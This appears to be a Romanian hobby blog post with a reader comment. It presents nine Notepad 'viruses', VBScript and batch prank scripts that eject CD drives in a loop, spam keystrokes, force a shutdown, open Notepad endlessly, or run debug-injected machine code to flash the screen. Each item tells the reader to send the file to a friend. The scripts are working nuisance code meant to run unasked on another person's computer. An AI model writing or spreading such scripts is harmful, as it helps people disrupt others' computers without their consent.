joi, 12 iulie 2012

``Virusi´`in Notepad 9 comenzi !


1. Deschide si inchide usa de la CD-ROM. Daca sunt mai multe CD-Rom-uri le deschide pe toate !!!
Deschideti Notepad si scrieti urmatoarele randuri :
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Salvati-l ca si “PUNETI NUMELE AICI . VBS” si trimiteti-l la un prieten.
2. Aprinde si stinge Caps Lock de pe tastatura
Deschideti Notepad si scriti urmatoarele randuri :
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Salvati-l ca si “PUNETI NUMELE AICI . VBS” si trimiteti-l la un prieten.
3. Ii apare pritenului tau mesajul si stinge calculatorul.
Deschideti Notepad si scriti urmatoarele randuri :
@echo off
msg * I don’t like you
shutdown -c “Error! E Timpul sa mergi la culcare!” -s
Salvati-l ca si “PUNETI NUMELE AICI . BAT” si trimiteti-l la un prieten.
4. Enervati prietenul cu acest script care apasa ENTER la nesfarsit.
Deschideti Notepad si scriti urmatoarele randuri :
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Salvati-l ca si “PUNETI NUMELE AICI . VBS” si trimiteti-l la un prieten.
5. Deschide Notepad si scrie incet ” Salut, Ce mai faci? Bine mersi”
Deschideti Notepad si scriti urmatoarele randuri :
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Sa”
WScript.Sleep 500
WshShell.SendKeys “lut, ”
WScript.Sleep 500
WshShell.SendKeys “, Ce”
WScript.Sleep 500
WshShell.SendKeys “mai”
WScript.Sleep 500
WshShell.SendKeys “faci”
WScript.Sleep 500
WshShell.SendKeys “?”
WScript.Sleep 500
WshShell.SendKeys “Bine ”
WScript.Sleep 500
WshShell.SendKeys “mersi”
Salvati-l ca si “PUNETI NUMELE AICI . VBS” si trimiteti-l la un prieten.
6. Enervati-l cu acest script care apasa tot timpul Backspace.
Deschideti Notepad si scriti urmatoarele randuri :
MsgBox “Sa mergem in spate cativa pasii”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Salvati-l ca si “PUNETI NUMELE AICI . VBS” si trimiteti-l la un prieten.
7. Preia controlul tastaturi si scrie mesajul care vrei .
Deschideti Notepad si scriti urmatoarele randuri :
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Pune aici mesajul care vrei sa il scrie”
loop
Salvati-l ca si “PUNETI NUMELE AICI . VBS” si trimiteti-l la un prieten.
8. Deschide la nesfarsit Notepad.
Deschideti Notepad si scriti urmatoarele randuri :
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Salvati-l ca si “PUNETI NUMELE AICI . BAT” si trimiteti-l la un prieten.
9. Schimba ecranul culori pana nu este oprit cu o tasta
Deschideti Notepad si scriti urmatoarele randuri :
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
Dar daca chiar vreti sa inebuniti pe cineva copati aceasta cod de mai jos care face acelasi lucru numai cand este apasata o tasta ecranul se face negru si nu poate fi oprit numai daca apas pe  CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
Salvati-l ca si “PUNETI NUMELE AICI . BAT” si trimiteti-l la un prieten.
Ca sa opriti aceasta “eroare” daca apasati ctrl+shirt+esc.1

Un comentariu:

  1. Bag Cracii Mie nu Imi merg alea cu .VBS PLM IMI DA EROARE...

    Windows Script Host

    Script: C:Users\_)_\Desktop\bla.vbs
    Line: 1
    Char: 1
    Error: Type mismatch: “bla“
    Code: 800A000D
    Source: Microsoft VBScript runtime error


    OK

    RăspundețiȘtergere